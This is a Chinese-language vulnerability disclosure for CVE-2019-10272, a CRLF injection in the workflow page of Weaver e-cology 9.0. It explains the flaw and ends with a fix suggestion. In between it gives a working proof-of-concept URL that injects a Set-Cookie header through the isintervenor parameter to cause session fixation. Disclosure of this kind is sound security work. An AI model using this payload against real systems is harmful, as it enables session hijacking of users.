
泛微-e-cology9.0 存在 CRLF 注入漏洞 

Weaver-e-cology9.0-CRLF Injection/HTTP Response Splitting

（HRS） 

漏洞发现 

发现者：Be4r 

联系人邮箱：rudderlessdespair@gmail.com 

漏洞编号：CVE-2019-10272 

漏洞介绍 

CRLF 是”回车 + 换行”（\r\n）的简称。在 HTTP 协议中，HTTP Header 与 HTTP Body 是用两

个 CRLF 分隔的，浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显示出来。所以，一旦我

们能够控制 HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话

Cookie 或者 HTML 代码，所以 CRLF Injection 又叫 HTTP Response Splitting，简称 HRS。 

影响产品 

泛微-e-cology9.0（Weaver-e-cology9.0） 

漏洞评级 

高 

漏洞利用 

部署泛微 e-cology9.0 产品，访问测试： 



 

测试登录后如下： 

 

此次测试发现的 CRLF 在工作流程处，我们先来看一下我们登录后的 cookie： 

 

尝试访问一下下面的测试地址，CRLF 注入点在 isintervenor 参数上。 

http://localhost/workflow/request/ViewRequestForwardSPA.jsp?belongTest=false&f_weaver_bel

ongto_userid=84938&f_weaver_belongto_usertype=0&isintervenor=ib3rq&requestid=1251&ses

sionkey=325_2395_84938_1553578680576 



 

 

此时我们的 cookie 数据暂时是正常的，然后在 isintervenor 参数提交一次 payload。此处我提

交的 payload 是设置 cookie,用以产生会话固定攻击。 

http://localhost/workflow/request/ViewRequestForwardSPA.jsp?belongTest=false&f_weaver_bel

ongto_userid=84938&f_weaver_belongto_usertype=0&isintervenor=ib3rq%0aSet-

cookie:sessionid%3Dsectest&requestid=1251&sessionkey=325_2395_84938_1553578680576 

 



 
此时发现，我们的 payload 在 Location 处被换行生效，设置了名为 sectest 的 session。 

重新访问下未提交 Payload 时的测试地址，数据包如下： 

 

此时，一次简单的 CRLF 攻击结束，此次的举措为利用 CRLF 产生一次会话固定攻击。 

修复建议 

过滤\r 、\n 之类的换行符，避免输入的数据污染到 HTTP 头。 


